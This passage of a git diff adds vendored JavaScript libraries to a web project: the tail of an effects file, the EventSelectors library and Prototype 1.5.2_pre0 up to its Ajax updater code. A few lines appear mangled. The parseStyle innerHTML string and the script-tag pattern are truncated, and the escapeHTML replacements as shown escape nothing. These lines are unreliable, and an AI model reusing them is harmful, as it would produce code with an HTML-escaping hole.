); + } +}); + +Element.CSS_PROPERTIES = $w( + 'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' + + 'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' + + 'borderRightColor borderRightStyle borderRightWidth borderSpacing ' + + 'borderTopColor borderTopStyle borderTopWidth bottom clip color ' + + 'fontSize fontWeight height left letterSpacing lineHeight ' + + 'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+ + 'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' + + 'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' + + 'right textIndent top width wordSpacing zIndex'); + +Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/; + +String.prototype.parseStyle = function(){ + var element = document.createElement('div'); + element.innerHTML = '

    '; + var style = element.childNodes[0].style, styleRules = $H(); + + Element.CSS_PROPERTIES.each(function(property){ + if(style[property]) styleRules[property] = style[property]; + }); + if(Prototype.Browser.IE && this.indexOf('opacity') > -1) { + styleRules.opacity = this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]; + } + return styleRules; +}; + +Element.morph = function(element, style) { + new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || {})); + return element; +}; + +['getInlineOpacity','forceRerendering','setContentZoom', + 'collectTextNodes','collectTextNodesIgnoreClass','morph'].each( + function(f) { Element.Methods[f] = Element[f]; } +); + +Element.Methods.visualEffect = function(element, effect, options) { + s = effect.dasherize().camelize(); + effect_class = s.charAt(0).toUpperCase() + s.substring(1); + new Effect[effect_class](element, options); + return $(element); +}; + +Element.addMethods(); diff --git a/public/javascripts/lib/event-selectors.js b/public/javascripts/lib/event-selectors.js new file mode 100644 index 0000000..8b0345e --- /dev/null +++ b/public/javascripts/lib/event-selectors.js @@ -0,0 +1,102 @@ +// EventSelectors +// Copyright (c) 2005-2006 Justin Palmer (http://encytemedia.com) +// Examples and documentation (http://encytemedia.com/event-selectors) +// +// EventSelectors allow you access to Javascript events using a CSS style syntax. +// It goes one step beyond Javascript events to also give you :loaded, which allows +// you to wait until an item is loaded in the document before you begin to interact +// with it. +// +// Inspired by the work of Ben Nolan's Behaviour (http://bennolan.com/behaviour) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +var EventSelectors = { + version: '1.0_pre', + cache: [], + + start: function(rules) { + this.rules = rules || {}; + this.timer = new Array(); + this._extendRules(); + this.assign(this.rules); + }, + + assign: function(rules) { + var observer = null; + this._unloadCache(); + rules._each(function(rule) { + var selectors = $A(rule.key.split(',')); + selectors.each(function(selector) { + var pair = selector.split(':'); + var event = pair[1]; + $$(pair[0]).each(function(element) { + if(pair[1] == '' || pair.length == 1) return rule.value(element); + if(event.toLowerCase() == 'loaded') { + this.timer[pair[0]] = setInterval(this._checkLoaded.bind(this, element, pair[0], rule), 15); + } else { + observer = function(event) { + var element = Event.element(event); + if (element.nodeType == 3) // Safari Bug (Fixed in Webkit) + element = element.parentNode; + rule.value($(element), event); + } + this.cache.push([element, event, observer]); + Event.observe(element, event, observer); + } + }.bind(this)); + }.bind(this)); + }.bind(this)); + }, + + // Scoped caches would rock. + _unloadCache: function() { + if (!this.cache) return; + for (var i = 0; i < this.cache.length; i++) { + Event.stopObserving.apply(this, this.cache[i]); + this.cache[i][0] = null; + } + this.cache = []; + }, + + _checkLoaded: function(element, timer, rule) { + var node = $(element); + if(element.tagName != 'undefined') { + clearInterval(this.timer[timer]); + rule.value(node); + } + }, + + _extendRules: function() { + Object.extend(this.rules, { + _each: function(iterator) { + for (key in this) { + if(key == '_each') continue; + var value = this[key]; + var pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } + } + }); + } +} diff --git a/public/javascripts/lib/prototype.js b/public/javascripts/lib/prototype.js new file mode 100644 index 0000000..2ca924d --- /dev/null +++ b/public/javascripts/lib/prototype.js @@ -0,0 +1,3490 @@ +/* Prototype JavaScript framework, version 1.5.2_pre0 + * (c) 2005-2007 Sam Stephenson + * + * Prototype is freely distributable under the terms of an MIT-style license. + * For details, see the Prototype web site: http://www.prototypejs.org/ + * +/*--------------------------------------------------------------------------*/ + +var Prototype = { + Version: '1.5.2_pre0', + + Browser: { + IE: !!(window.attachEvent && !window.opera), + Opera: !!window.opera, + WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1, + Gecko: navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1 + }, + + BrowserFeatures: { + XPath: !!document.evaluate, + ElementExtensions: !!window.HTMLElement, + SpecificElementExtensions: + (document.createElement('div').__proto__ !== + document.createElement('form').__proto__) + }, + + ScriptFragment: ']*>([\\S\\s]*?)<\/script>', + JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/, + + emptyFunction: function() { }, + K: function(x) { return x } +} + +var Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +var Abstract = new Object(); + +Object.extend = function(destination, source) { + for (var property in source) { + destination[property] = source[property]; + } + return destination; +} + +Object.extend(Object, { + inspect: function(object) { + try { + if (object === undefined) return 'undefined'; + if (object === null) return 'null'; + return object.inspect ? object.inspect() : object.toString(); + } catch (e) { + if (e instanceof RangeError) return '...'; + throw e; + } + }, + + toJSON: function(object) { + var type = typeof object; + switch(type) { + case 'undefined': + case 'function': + case 'unknown': return; + case 'boolean': return object.toString(); + } + if (object === null) return 'null'; + if (object.toJSON) return object.toJSON(); + if (object.ownerDocument === document) return; + var results = []; + for (var property in object) { + var value = Object.toJSON(object[property]); + if (value !== undefined) + results.push(property.toJSON() + ': ' + value); + } + return '{' + results.join(', ') + '}'; + }, + + keys: function(object) { + var keys = []; + for (var property in object) + keys.push(property); + return keys; + }, + + values: function(object) { + var values = []; + for (var property in object) + values.push(object[property]); + return values; + }, + + clone: function(object) { + return Object.extend({}, object); + } +}); + +Object.extend(Function.prototype, { + bind: function() { + var __method = this, args = $A(arguments), object = args.shift(); + return function() { + return __method.apply(object, args.concat($A(arguments))); + } + }, + + bindAsEventListener: function() { + var __method = this, args = $A(arguments), object = args.shift(); + return function(event) { + return __method.apply(object, [event || window.event].concat(args)); + } + }, + + curry: function() { + var __method = this, args = $A(arguments); + return function() { + return __method.apply(this, args.concat($A(arguments))); + } + }, + + delay: function() { + var __method = this, args = $A(arguments), timeout = args.shift() * 1000; + return window.setTimeout(function() { + return __method.apply(__method, args); + }, timeout); + }, + + wrap: function(wrapper) { + var __method = this; + return function() { + return wrapper.apply(this, [__method.bind(this)].concat($A(arguments))); + } + }, + + methodize: function() { + if (this._methodized) return this._methodized; + var __method = this; + return this._methodized = function() { + return __method.apply(null, [this].concat($A(arguments))); + }; + } +}); + +Function.prototype.defer = Function.prototype.delay.curry(0.01); + +Date.prototype.toJSON = function() { + return '"' + this.getFullYear() + '-' + + (this.getMonth() + 1).toPaddedString(2) + '-' + + this.getDate().toPaddedString(2) + 'T' + + this.getHours().toPaddedString(2) + ':' + + this.getMinutes().toPaddedString(2) + ':' + + this.getSeconds().toPaddedString(2) + '"'; +}; + +var Try = { + these: function() { + var returnValue; + + for (var i = 0, length = arguments.length; i < length; i++) { + var lambda = arguments[i]; + try { + returnValue = lambda(); + break; + } catch (e) {} + } + + return returnValue; + } +} + +/*--------------------------------------------------------------------------*/ + +var PeriodicalExecuter = Class.create(); +PeriodicalExecuter.prototype = { + initialize: function(callback, frequency) { + this.callback = callback; + this.frequency = frequency; + this.currentlyExecuting = false; + + this.registerCallback(); + }, + + registerCallback: function() { + this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + stop: function() { + if (!this.timer) return; + clearInterval(this.timer); + this.timer = null; + }, + + onTimerEvent: function() { + if (!this.currentlyExecuting) { + try { + this.currentlyExecuting = true; + this.callback(this); + } finally { + this.currentlyExecuting = false; + } + } + } +} +Object.extend(String, { + interpret: function(value) { + return value == null ? '' : String(value); + }, + specialChar: { + '\b': '\\b', + '\t': '\\t', + '\n': '\\n', + '\f': '\\f', + '\r': '\\r', + '\\': '\\\\' + } +}); + +Object.extend(String.prototype, { + gsub: function(pattern, replacement) { + var result = '', source = this, match; + replacement = arguments.callee.prepareReplacement(replacement); + + while (source.length > 0) { + if (match = source.match(pattern)) { + result += source.slice(0, match.index); + result += String.interpret(replacement(match)); + source = source.slice(match.index + match[0].length); + } else { + result += source, source = ''; + } + } + return result; + }, + + sub: function(pattern, replacement, count) { + replacement = this.gsub.prepareReplacement(replacement); + count = count === undefined ? 1 : count; + + return this.gsub(pattern, function(match) { + if (--count < 0) return match[0]; + return replacement(match); + }); + }, + + scan: function(pattern, iterator) { + this.gsub(pattern, iterator); + return this; + }, + + truncate: function(length, truncation) { + length = length || 30; + truncation = truncation === undefined ? '...' : truncation; + return this.length > length ? + this.slice(0, length - truncation.length) + truncation : String(this); + }, + + strip: function() { + return this.replace(/^\s+/, '').replace(/\s+$/, ''); + }, + + stripTags: function() { + return this.replace(/<\/?[^>]+>/gi, ''); + }, + + stripScripts: function() { + return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); + }, + + extractScripts: function() { + var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); + var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); + return (this.match(matchAll) || []).map(function(scriptTag) { + return (scriptTag.match(matchOne) || ['', ''])[1]; + }); + }, + + evalScripts: function() { + return this.extractScripts().map(function(script) { return eval(script) }); + }, + + escapeHTML: function() { + var self = arguments.callee; + self.text.data = this; + return self.div.innerHTML; + }, + + unescapeHTML: function() { + var div = new Element('div'); + div.innerHTML = this.stripTags(); + return div.childNodes[0] ? (div.childNodes.length > 1 ? + $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) : + div.childNodes[0].nodeValue) : ''; + }, + + toQueryParams: function(separator) { + var match = this.strip().match(/([^?#]*)(#.*)?$/); + if (!match) return {}; + + return match[1].split(separator || '&').inject({}, function(hash, pair) { + if ((pair = pair.split('='))[0]) { + var key = decodeURIComponent(pair.shift()); + var value = pair.length > 1 ? pair.join('=') : pair[0]; + if (value != undefined) value = decodeURIComponent(value); + + if (key in hash) { + if (hash[key].constructor != Array) hash[key] = [hash[key]]; + hash[key].push(value); + } + else hash[key] = value; + } + return hash; + }); + }, + + toArray: function() { + return this.split(''); + }, + + succ: function() { + return this.slice(0, this.length - 1) + + String.fromCharCode(this.charCodeAt(this.length - 1) + 1); + }, + + times: function(count) { + var result = ''; + for (var i = 0; i < count; i++) result += this; + return result; + }, + + camelize: function() { + var parts = this.split('-'), len = parts.length; + if (len == 1) return parts[0]; + + var camelized = this.charAt(0) == '-' + ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1) + : parts[0]; + + for (var i = 1; i < len; i++) + camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1); + + return camelized; + }, + + capitalize: function() { + return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase(); + }, + + underscore: function() { + return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase(); + }, + + dasherize: function() { + return this.gsub(/_/,'-'); + }, + + inspect: function(useDoubleQuotes) { + var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) { + var character = String.specialChar[match[0]]; + return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16); + }); + if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"'; + return "'" + escapedString.replace(/'/g, '\\\'') + "'"; + }, + + toJSON: function() { + return this.inspect(true); + }, + + unfilterJSON: function(filter) { + return this.sub(filter || Prototype.JSONFilter, '#{1}'); + }, + + evalJSON: function(sanitize) { + var json = this.unfilterJSON(); + try { + if (!sanitize || (/^("(\\.|[^"\\\n\r])*?"|[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t])+?$/.test(json))) + return eval('(' + json + ')'); + } catch (e) { } + throw new SyntaxError('Badly formed JSON string: ' + this.inspect()); + }, + + include: function(pattern) { + return this.indexOf(pattern) > -1; + }, + + startsWith: function(pattern) { + return this.indexOf(pattern) === 0; + }, + + endsWith: function(pattern) { + var d = this.length - pattern.length; + return d >= 0 && this.lastIndexOf(pattern) === d; + }, + + empty: function() { + return this == ''; + }, + + blank: function() { + return /^\s*$/.test(this); + } +}); + +if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, { + escapeHTML: function() { + return this.replace(/&/g,'&').replace(//g,'>'); + }, + unescapeHTML: function() { + return this.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>'); + } +}); + +String.prototype.gsub.prepareReplacement = function(replacement) { + if (typeof replacement == 'function') return replacement; + var template = new Template(replacement); + return function(match) { return template.evaluate(match) }; +} + +String.prototype.parseQuery = String.prototype.toQueryParams; + +Object.extend(String.prototype.escapeHTML, { + div: document.createElement('div'), + text: document.createTextNode('') +}); + +with (String.prototype.escapeHTML) div.appendChild(text); + +var Template = Class.create(); +Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/; +Template.prototype = { + initialize: function(template, pattern) { + this.template = template.toString(); + this.pattern = pattern || Template.Pattern; + }, + + evaluate: function(object) { + return this.template.gsub(this.pattern, function(match) { + var before = match[1]; + if (before == '\\') return match[2]; + return before + String.interpret(object[match[3]]); + }); + } +} + +var $break = {}; + +var Enumerable = { + each: function(iterator) { + var index = 0; + try { + this._each(function(value) { + iterator(value, index++); + }); + } catch (e) { + if (e != $break) throw e; + } + return this; + }, + + eachSlice: function(number, iterator) { + var index = -number, slices = [], array = this.toArray(); + while ((index += number) < array.length) + slices.push(array.slice(index, index+number)); + return slices.map(iterator); + }, + + all: function(iterator) { + var result = true; + this.each(function(value, index) { + result = result && !!(iterator || Prototype.K)(value, index); + if (!result) throw $break; + }); + return result; + }, + + any: function(iterator) { + var result = false; + this.each(function(value, index) { + if (result = !!(iterator || Prototype.K)(value, index)) + throw $break; + }); + return result; + }, + + collect: function(iterator) { + var results = []; + this.each(function(value, index) { + results.push((iterator || Prototype.K)(value, index)); + }); + return results; + }, + + detect: function(iterator) { + var result; + this.each(function(value, index) { + if (iterator(value, index)) { + result = value; + throw $break; + } + }); + return result; + }, + + findAll: function(iterator) { + var results = []; + this.each(function(value, index) { + if (iterator(value, index)) + results.push(value); + }); + return results; + }, + + grep: function(pattern, iterator) { + var results = []; + this.each(function(value, index) { + var stringValue = value.toString(); + if (stringValue.match(pattern)) + results.push((iterator || Prototype.K)(value, index)); + }) + return results; + }, + + include: function(object) { + var found = false; + this.each(function(value) { + if (value == object) { + found = true; + throw $break; + } + }); + return found; + }, + + inGroupsOf: function(number, fillWith) { + fillWith = fillWith === undefined ? null : fillWith; + return this.eachSlice(number, function(slice) { + while(slice.length < number) slice.push(fillWith); + return slice; + }); + }, + + inject: function(memo, iterator) { + this.each(function(value, index) { + memo = iterator(memo, value, index); + }); + return memo; + }, + + invoke: function(method) { + var args = $A(arguments).slice(1); + return this.map(function(value) { + return value[method].apply(value, args); + }); + }, + + max: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (result == undefined || value >= result) + result = value; + }); + return result; + }, + + min: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (result == undefined || value < result) + result = value; + }); + return result; + }, + + partition: function(iterator) { + var trues = [], falses = []; + this.each(function(value, index) { + ((iterator || Prototype.K)(value, index) ? + trues : falses).push(value); + }); + return [trues, falses]; + }, + + pluck: function(property) { + var results = []; + this.each(function(value, index) { + results.push(value[property]); + }); + return results; + }, + + reject: function(iterator) { + var results = []; + this.each(function(value, index) { + if (!iterator(value, index)) + results.push(value); + }); + return results; + }, + + sortBy: function(iterator) { + return this.map(function(value, index) { + return {value: value, criteria: iterator(value, index)}; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }).pluck('value'); + }, + + toArray: function() { + return this.map(); + }, + + zip: function() { + var iterator = Prototype.K, args = $A(arguments); + if (typeof args.last() == 'function') + iterator = args.pop(); + + var collections = [this].concat(args).map($A); + return this.map(function(value, index) { + return iterator(collections.pluck(index)); + }); + }, + + size: function() { + return this.toArray().length; + }, + + inspect: function() { + return '#'; + } +} + +Object.extend(Enumerable, { + map: Enumerable.collect, + find: Enumerable.detect, + select: Enumerable.findAll, + member: Enumerable.include, + entries: Enumerable.toArray +}); +function $A(iterable) { + if (!iterable) return []; + if (iterable.toArray) { + return iterable.toArray(); + } else { + var results = []; + for (var i = 0, length = iterable.length; i < length; i++) + results.push(iterable[i]); + return results; + } +} + +if (Prototype.Browser.WebKit) { + function $A(iterable) { + if (!iterable) return []; + if (!(typeof iterable == 'function' && iterable == '[object NodeList]') && + iterable.toArray) { + return iterable.toArray(); + } else { + var results = []; + for (var i = 0, length = iterable.length; i < length; i++) + results.push(iterable[i]); + return results; + } + } +} + +Array.from = $A; + +Object.extend(Array.prototype, Enumerable); + +if (!Array.prototype._reverse) + Array.prototype._reverse = Array.prototype.reverse; + +Object.extend(Array.prototype, { + _each: function(iterator) { + for (var i = 0, length = this.length; i < length; i++) + iterator(this[i]); + }, + + clear: function() { + this.length = 0; + return this; + }, + + first: function() { + return this[0]; + }, + + last: function() { + return this[this.length - 1]; + }, + + compact: function() { + return this.select(function(value) { + return value != null; + }); + }, + + flatten: function() { + return this.inject([], function(array, value) { + return array.concat(value && value.constructor == Array ? + value.flatten() : [value]); + }); + }, + + without: function() { + var values = $A(arguments); + return this.select(function(value) { + return !values.include(value); + }); + }, + + indexOf: function(object) { + for (var i = 0, length = this.length; i < length; i++) + if (this[i] == object) return i; + return -1; + }, + + reverse: function(inline) { + return (inline !== false ? this : this.toArray())._reverse(); + }, + + reduce: function() { + return this.length > 1 ? this : this[0]; + }, + + uniq: function(sorted) { + return this.inject([], function(array, value, index) { + if (0 == index || (sorted ? array.last() != value : !array.include(value))) + array.push(value); + return array; + }); + }, + + clone: function() { + return [].concat(this); + }, + + size: function() { + return this.length; + }, + + inspect: function() { + return '[' + this.map(Object.inspect).join(', ') + ']'; + }, + + toJSON: function() { + var results = []; + this.each(function(object) { + var value = Object.toJSON(object); + if (value !== undefined) results.push(value); + }); + return '[' + results.join(', ') + ']'; + } +}); + +Array.prototype.toArray = Array.prototype.clone; + +function $w(string) { + string = string.strip(); + return string ? string.split(/\s+/) : []; +} + +if (Prototype.Browser.Opera){ + Array.prototype.concat = function() { + var array = []; + for (var i = 0, length = this.length; i < length; i++) array.push(this[i]); + for (var i = 0, length = arguments.length; i < length; i++) { + if (arguments[i].constructor == Array) { + for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++) + array.push(arguments[i][j]); + } else { + array.push(arguments[i]); + } + } + return array; + } +} +Object.extend(Number.prototype, { + toColorPart: function() { + return this.toPaddedString(2, 16); + }, + + succ: function() { + return this + 1; + }, + + times: function(iterator) { + $R(0, this, true).each(iterator); + return this; + }, + + toPaddedString: function(length, radix) { + var string = this.toString(radix || 10); + return '0'.times(length - string.length) + string; + }, + + toJSON: function() { + return isFinite(this) ? this.toString() : 'null'; + } +}); + +$w('abs round ceil floor').each(function(method){ + Number.prototype[method] = Math[method].methodize() +}); +var Hash = function(object) { + if (object instanceof Hash) this.merge(object); + else Object.extend(this, object || {}); +}; + +Object.extend(Hash, { + toQueryString: function(obj) { + var parts = []; + parts.add = arguments.callee.addPair; + + this.prototype._each.call(obj, function(pair) { + if (!pair.key) return; + var value = pair.value; + + if (value && typeof value == 'object') { + if (value.constructor == Array) value.each(function(value) { + parts.add(pair.key, value); + }); + return; + } + parts.add(pair.key, value); + }); + + return parts.join('&'); + }, + + toJSON: function(object) { + var results = []; + this.prototype._each.call(object, function(pair) { + var value = Object.toJSON(pair.value); + if (value !== undefined) results.push(pair.key.toJSON() + ': ' + value); + }); + return '{' + results.join(', ') + '}'; + } +}); + +Hash.toQueryString.addPair = function(key, value, prefix) { + key = encodeURIComponent(key); + if (value === undefined) this.push(key); + else this.push(key + '=' + (value == null ? '' : encodeURIComponent(value))); +} + +Object.extend(Hash.prototype, Enumerable); +Object.extend(Hash.prototype, { + _each: function(iterator) { + for (var key in this) { + var value = this[key]; + if (value && value == Hash.prototype[key]) continue; + + var pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } + }, + + keys: function() { + return this.pluck('key'); + }, + + values: function() { + return this.pluck('value'); + }, + + index: function(value) { + var match = this.detect(function(pair) { + return pair.value === value; + }); + return match && match.key; + }, + + merge: function(hash) { + return $H(hash).inject(this, function(mergedHash, pair) { + mergedHash[pair.key] = pair.value; + return mergedHash; + }); + }, + + remove: function() { + var result; + for(var i = 0, length = arguments.length; i < length; i++) { + var value = this[arguments[i]]; + if (value !== undefined){ + if (result === undefined) result = value; + else { + if (result.constructor != Array) result = [result]; + result.push(value) + } + } + delete this[arguments[i]]; + } + return result; + }, + + toQueryString: function() { + return Hash.toQueryString(this); + }, + + inspect: function() { + return '#'; + }, + + toJSON: function() { + return Hash.toJSON(this); + } +}); + +function $H(object) { + if (object instanceof Hash) return object; + return new Hash(object); +}; + +// Safari iterates over shadowed properties +if (function() { + var i = 0, Test = function(value) { this.key = value }; + Test.prototype.key = 'foo'; + for (var property in new Test('bar')) i++; + return i > 1; +}()) Hash.prototype._each = function(iterator) { + var cache = []; + for (var key in this) { + var value = this[key]; + if ((value && value == Hash.prototype[key]) || cache.include(key)) continue; + cache.push(key); + var pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } +}; +ObjectRange = Class.create(); +Object.extend(ObjectRange.prototype, Enumerable); +Object.extend(ObjectRange.prototype, { + initialize: function(start, end, exclusive) { + this.start = start; + this.end = end; + this.exclusive = exclusive; + }, + + _each: function(iterator) { + var value = this.start; + while (this.include(value)) { + iterator(value); + value = value.succ(); + } + }, + + include: function(value) { + if (value < this.start) + return false; + if (this.exclusive) + return value < this.end; + return value <= this.end; + } +}); + +var $R = function(start, end, exclusive) { + return new ObjectRange(start, end, exclusive); +} + +var Ajax = { + getTransport: function() { + return Try.these( + function() {return new XMLHttpRequest()}, + function() {return new ActiveXObject('Msxml2.XMLHTTP')}, + function() {return new ActiveXObject('Microsoft.XMLHTTP')} + ) || false; + }, + + activeRequestCount: 0 +} + +Ajax.Responders = { + responders: [], + + _each: function(iterator) { + this.responders._each(iterator); + }, + + register: function(responder) { + if (!this.include(responder)) + this.responders.push(responder); + }, + + unregister: function(responder) { + this.responders = this.responders.without(responder); + }, + + dispatch: function(callback, request, transport, json) { + this.each(function(responder) { + if (typeof responder[callback] == 'function') { + try { + responder[callback].apply(responder, [request, transport, json]); + } catch (e) {} + } + }); + } +}; + +Object.extend(Ajax.Responders, Enumerable); + +Ajax.Responders.register({ + onCreate: function() { + Ajax.activeRequestCount++; + }, + onComplete: function() { + Ajax.activeRequestCount--; + } +}); + +Ajax.Base = function() {}; +Ajax.Base.prototype = { + setOptions: function(options) { + this.options = { + method: 'post', + asynchronous: true, + contentType: 'application/x-www-form-urlencoded', + encoding: 'UTF-8', + parameters: '' + } + Object.extend(this.options, options || {}); + + this.options.method = this.options.method.toLowerCase(); + if (typeof this.options.parameters == 'string') + this.options.parameters = this.options.parameters.toQueryParams(); + } +} + +Ajax.Request = Class.create(); +Ajax.Request.Events = + ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; + +Ajax.Request.prototype = Object.extend(new Ajax.Base(), { + _complete: false, + + initialize: function(url, options) { + this.transport = Ajax.getTransport(); + this.setOptions(options); + this.request(url); + }, + + request: function(url) { + this.url = url; + this.method = this.options.method; + var params = Object.clone(this.options.parameters); + + if (!['get', 'post'].include(this.method)) { + // simulate other verbs over post + params['_method'] = this.method; + this.method = 'post'; + } + + this.parameters = params; + + if (params = Hash.toQueryString(params)) { + // when GET, append parameters to URL + if (this.method == 'get') + this.url += (this.url.include('?') ? '&' : '?') + params; + else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) + params += '&_='; + } + + try { + if (this.options.onCreate) this.options.onCreate(this.transport); + Ajax.Responders.dispatch('onCreate', this, this.transport); + + this.transport.open(this.method.toUpperCase(), this.url, + this.options.asynchronous); + + if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1); + + this.transport.onreadystatechange = this.onStateChange.bind(this); + this.setRequestHeaders(); + + this.body = this.method == 'post' ? (this.options.postBody || params) : null; + this.transport.send(this.body); + + /* Force Firefox to handle ready state 4 for synchronous requests */ + if (!this.options.asynchronous && this.transport.overrideMimeType) + this.onStateChange(); + + } + catch (e) { + this.dispatchException(e); + } + }, + + onStateChange: function() { + var readyState = this.transport.readyState; + if (readyState > 1 && !((readyState == 4) && this._complete)) + this.respondToReadyState(this.transport.readyState); + }, + + setRequestHeaders: function() { + var headers = { + 'X-Requested-With': 'XMLHttpRequest', + 'X-Prototype-Version': Prototype.Version, + 'Accept': 'text/javascript, text/html, application/xml, text/xml, */*' + }; + + if (this.method == 'post') { + headers['Content-type'] = this.options.contentType + + (this.options.encoding ? '; charset=' + this.options.encoding : ''); + + /* Force "Connection: close" for older Mozilla browsers to work + * around a bug where XMLHttpRequest sends an incorrect + * Content-length header. See Mozilla Bugzilla #246651. + */ + if (this.transport.overrideMimeType && + (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005) + headers['Connection'] = 'close'; + } + + // user-defined headers + if (typeof this.options.requestHeaders == 'object') { + var extras = this.options.requestHeaders; + + if (typeof extras.push == 'function') + for (var i = 0, length = extras.length; i < length; i += 2) + headers[extras[i]] = extras[i+1]; + else + $H(extras).each(function(pair) { headers[pair.key] = pair.value }); + } + + for (var name in headers) + this.transport.setRequestHeader(name, headers[name]); + }, + + success: function() { + return !this.transport.status + || (this.transport.status >= 200 && this.transport.status < 300); + }, + + respondToReadyState: function(readyState) { + var state = Ajax.Request.Events[readyState]; + var transport = this.transport, json = this.evalJSON(); + + if (state == 'Complete') { + try { + this._complete = true; + (this.options['on' + this.transport.status] + || this.options['on' + (this.success() ? 'Success' : 'Failure')] + || Prototype.emptyFunction)(transport, json); + } catch (e) { + this.dispatchException(e); + } + + var contentType = this.getHeader('Content-type'); + if (contentType && contentType.strip(). + match(/^(text|application)\/(x-)?(java|ecma)script(;.*)?$/i)) + this.evalResponse(); + } + + try { + (this.options['on' + state] || Prototype.emptyFunction)(transport, json); + Ajax.Responders.dispatch('on' + state, this, transport, json); + } catch (e) { + this.dispatchException(e); + } + + if (state == 'Complete') { + // avoid memory leak in MSIE: clean up + this.transport.onreadystatechange = Prototype.emptyFunction; + } + }, + + getHeader: function(name) { + try { + return this.transport.getResponseHeader(name); + } catch (e) { return null } + }, + + evalJSON: function() { + try { + var json = this.getHeader('X-JSON'); + return json ? json.evalJSON() : null; + } catch (e) { return null } + }, + + evalResponse: function() { + try { + return eval((this.transport.responseText || '').unfilterJSON()); + } catch (e) { + this.dispatchException(e); + } + }, + + dispatchException: function(exception) { + (this.options.onException || Prototype.emptyFunction)(this, exception); + Ajax.Responders.dispatch('onException', this, exception); + } +}); + +Ajax.Updater = Class.create(); + +Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), { + initialize: function(container, url, options) { + this.container = { + success: (container.success || container), + failure: (container.failure || (container.success ? null : container)) + } + + this.transport = Ajax.getTransport(); + this.setOptions(options); + + var onComplete = this.options.onComplete || Prototype.emptyFunction; + this.options.onComplete = (function(transport, param) { + this.updateContent(); + onComplete(transport, param); + }).bind(this); + + this.request(url); + }, + + updateContent: function() { + var receiver = this.container[this.success() ? 'success' : 'failure']; + var response = this.transport.responseText, options = this.options; + + if (!options.evalScripts) response = response.stripScripts(); + + if (receiver = $(receiver)) { + if (options.insertion) { + if (typeof options.insertion == 'string') { + var insertion = {}; insertion[options.insertion] = response; + receiver.insert(insertion); + } + else options.insertion(receiver, response); + } + else receiver.update(response); + } + + if (this.success()) { + if (this.onComplete) this.onComplete.bind(this).defer(); + } + } +}); + +Ajax.PeriodicalUpdater = Class.create(); +Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), { + initialize: function(container, url, options) { + this.setOptions(options); + this.onComplete = this.options.onComplete; + + this.frequency = (this.options.frequency || 2); + this.decay = (this.options.decay || 1); + + this.updater = {}; + this.container = container; + this.url = url; + + this.start(); + }, + + start: function() { + this.options.onComplete = this.updateComplete.bind(this); + this.onTimerEvent(); + }, + + stop: function() { + this.updater.options.onComplete = undefined; + clearTimeout(this.timer); + (this.onComplete || Prototype.emptyFunction).apply(this, arguments); + }, + + updateComplete: function(request) { + if (this.options.decay) { + this.decay = (request.responseText == this.lastText ? + this.decay * this.options.decay : 1); + + this.lastText = request.responseText; + } + this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency); + }, + + onTimerEvent: 